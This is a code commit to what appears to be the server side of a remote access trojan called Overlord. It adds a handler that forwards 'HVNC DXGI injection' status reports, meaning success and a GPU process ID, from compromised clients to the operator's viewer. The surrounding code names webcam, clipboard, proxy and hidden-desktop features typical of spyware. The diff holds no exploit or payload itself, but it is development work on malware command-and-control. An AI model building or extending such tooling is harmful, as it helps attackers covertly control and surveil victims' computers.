add a way to show if HVNC DXGI injection actually worked

Overlord-Server/src/main-server.ts

@@ -87,6 +87,7 @@ import {
   handleWebcamDevices,
   handleHVNCCloneProgress,
   handleHVNCLookupResult,
+  handleHVNCDXGIStatus,
   handleClipboardContent,
   handleRemoteDesktopViewerMessage,
   handleRemoteDesktopViewerOpen,
@@ -605,6 +606,7 @@ async function startServer() {
     handleWebcamDevices,
     handleHVNCCloneProgress,
     handleHVNCLookupResult,
+    handleHVNCDXGIStatus,
     handleClipboardContent,
     cleanupVoiceViewer,
     stopConsoleOnTarget,

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
   handleWebcamDevices: (clientId: string, payload: any) => void;
   handleHVNCCloneProgress: (clientId: string, payload: any) => void;
   handleHVNCLookupResult: (clientId: string, payload: any) => void;
+  handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
   handleClipboardContent: (clientId: string, payload: any) => void;
   cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
   stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
       case "hvnc_lookup_result":
         deps.handleHVNCLookupResult(client.id, payload);
         break;
+      case "hvnc_dxgi_status":
+        deps.handleHVNCDXGIStatus(client.id, payload);
+        break;
       case "clipboard_content":
         deps.handleClipboardContent(client.id, payload);
         break;

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -610,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
   }
 }
 
+export function handleHVNCDXGIStatus(clientId: string, payload: any) {
+  for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
+    safeSendViewer(session.viewer, {
+      type: "hvnc_dxgi_status",
+      success: !!payload.success,
+      gpuPid: Number(payload.gpuPid) || 0,
+      message: String(payload.message || ""),
+    });
+  }
+}
+
 export function handleClipboardContent(clientId: string, payload: any) {
   const text = String(payload.text || "");
   const source = String(payload.source || "");

Overlord-Server/src/wsValidation.ts

@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
   "webcam_devices",
   "hvnc_clone_progress",
   "hvnc_lookup_result",
+  "hvnc_dxgi_status",
   "clipboard_content",
   "proxy_data",
   "proxy_close",